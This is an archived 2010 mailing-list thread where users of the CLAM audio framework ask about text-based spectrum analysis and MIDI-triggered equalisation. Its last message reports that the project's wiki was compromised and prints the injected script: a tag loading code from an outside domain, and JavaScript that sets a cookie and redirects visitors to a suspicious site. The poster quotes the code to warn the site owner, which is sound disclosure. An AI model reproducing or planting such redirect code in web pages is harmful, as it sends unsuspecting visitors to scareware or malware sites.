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aavila-VGgt2q2+T+FeoWH0uzbU5w@public.gmane.org | 7 May 2010 19:42
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[CLAM] A sort of equalizator

I search an example (if any), in terms of source code, of a sort of  
equalizator that receives in input an mp3 file and print on the standard output 
(in real time) the analisys in frequency of the file (such as a 'testual' 
equalizator).
A program that helps me to study (at various intervals) the changing (in terms 
of amplitude and rhythm) of the signal, and that allows me to use these data 
for other works, possibly.

If I was not clear enough, please tell me.

Thanks.
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Niels Mayer | 7 May 2010 20:44
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Re: [CLAM] A sort of equalizator

On Fri, May 7, 2010 at 10:42 AM, aavila-VGgt2q2+T+FeoWH0uzbU5w@public.gmane.org <aavila-VGgt2q2+T+FeoWH0uzbU5w@public.gmane.org> wrote:
I search an example (if any), in terms of source code, of a sort of
equalizator that receives in input an mp3 file and print on the standard output
(in real time) the analisys in frequency of the file (such as a 'testual'
equalizator).
A program that helps me to study (at various intervals) the changing (in terms
of amplitude and rhythm) of the signal, and that allows me to use these data
for other works, possibly.
 
http://www.sonicvisualiser.org/
For "textual" (XML, CSV etc) analysis: http://vamp-plugins.org/ and http://omras2.org/SonicAnnotator
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Juan Noveron | 8 May 2010 20:51
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Re: [CLAM] midi-triggered eq

I am trying to build a CLAM prototype that allows for midi-triggered equalization (for example midi 1
triggers eq effect 1, midi 2 triggers eq effect 2, and so on, where each eq effects are different eq settings).
Can anyone help me out with this one?
Thank you.
Juan C.
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Hernán Ordiales | 12 May 2010 02:30
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Re: [CLAM] A sort of equalizator

not really sure about what you want, but there is the tick extractor
example already mentioned, and to print the frequency content in
realtime maybe you can develop a plugin taking a spectrum data as
input and print the vector content in a convenient way or adapt the
SpectrumView[1] to generate a text output.

and to perform similar tasks that sonicvisualizer can do, did you took
a look into clam annotator[2]?

cheers

[1] Example of a network using SpectrumView:
http://clam-project.org/wiki/Image:ThreeBandFilterOutputWithWhiteNoiseAsInput.jpg
[2] http://clam-project.org/wiki/Manual_Annotator

On Fri, May 7, 2010 at 3:44 PM, Niels Mayer <nielsmayer@...> wrote:
> On Fri, May 7, 2010 at 10:42 AM, aavila@... <aavila@...> wrote:
>>
>> I search an example (if any), in terms of source code, of a sort of
>> equalizator that receives in input an mp3 file and print on the standard
>> output
>> (in real time) the analisys in frequency of the file (such as a 'testual'
>> equalizator).
>> A program that helps me to study (at various intervals) the changing (in
>> terms
>> of amplitude and rhythm) of the signal, and that allows me to use these
>> data
>> for other works, possibly.
>
>
> http://www.sonicvisualiser.org/
> For "textual" (XML, CSV etc)
> analysis: http://vamp-plugins.org/ and http://omras2.org/SonicAnnotator
>
> Niels
> http://nielsmayer.com
>
> _______________________________________________
> clam-users mailing list
> clam-users@...
> http://clam-project.org
>

--

-- 
Hernán
http://h.ordia.com.ar
GnuPG: 0xEE8A3FE9
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Niels Mayer | 12 May 2010 02:52
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Re: [CLAM] A sort of equalizator

On Tue, May 11, 2010 at 5:30 PM, Hernán Ordiales <h <at> ordia.com.ar> wrote:
[1] Example of a network using SpectrumView:
http://clam-project.org/wiki/Image:ThreeBandFilterOutputWithWhiteNoiseAsInput.jpg
[2] http://clam-project.org/wiki/Manual_Annotator

Thanks for the information... but... 

FYI, when I clicked on the first link, it popped up a "your computer is infected" dialog which I alt-f4'd away, and then it tried running something in the browser window so I alt-f4'd that. Hopefully someone hasn't figured out a way to own people browsing with Linux and google-chrome. You might want to make sure nothing funny is going on with your wiki.

Specifically out of index.php,  the following javascript is run: "script src="http://zettapetta.com/js.php"
which contains:

1 function setCookie(c_name,value,expiredays){
2    var exdate=new Date();
3    exdate.setDate(exdate.getDate()+expiredays);
4    document.cookie=c_name+ "=" +escape(value)+
5    ((expiredays==null) ? "" : ";expires="+exdate.toGMTString());
6 }
7
8
9 function getCookie(c_name){
10 if (document.cookie.length>0)
11  {
12  c_start=document.cookie.indexOf(c_name + "=");
13  if (c_start!=-1)
14    {
15    c_start=c_start + c_name.length+1;
16    c_end=document.cookie.indexOf(";",c_start);
17    if (c_end==-1) c_end=document.cookie.length;
18    return unescape(document.cookie.substring(c_start,c_end));
19    }
20  }
21 return "";
22 }
23
24
25 var name=getCookie("pma_visited_theme1");
26 if (name==""){
27    setCookie("pma_visited_theme1","1",20);
28    var url="http://www4.suitcase52td.net/?p=p52dcWpkbmmHnc3KbmNToKV1iqHWnG2dXseYlWibZmeWmQ%3D%3D";
29    window.top.location.replace(url);
30 }else{
31
32
33 }
34

Not sure of the purpose of the above, but it doesn't seem like a good thing for a wiki to do. 
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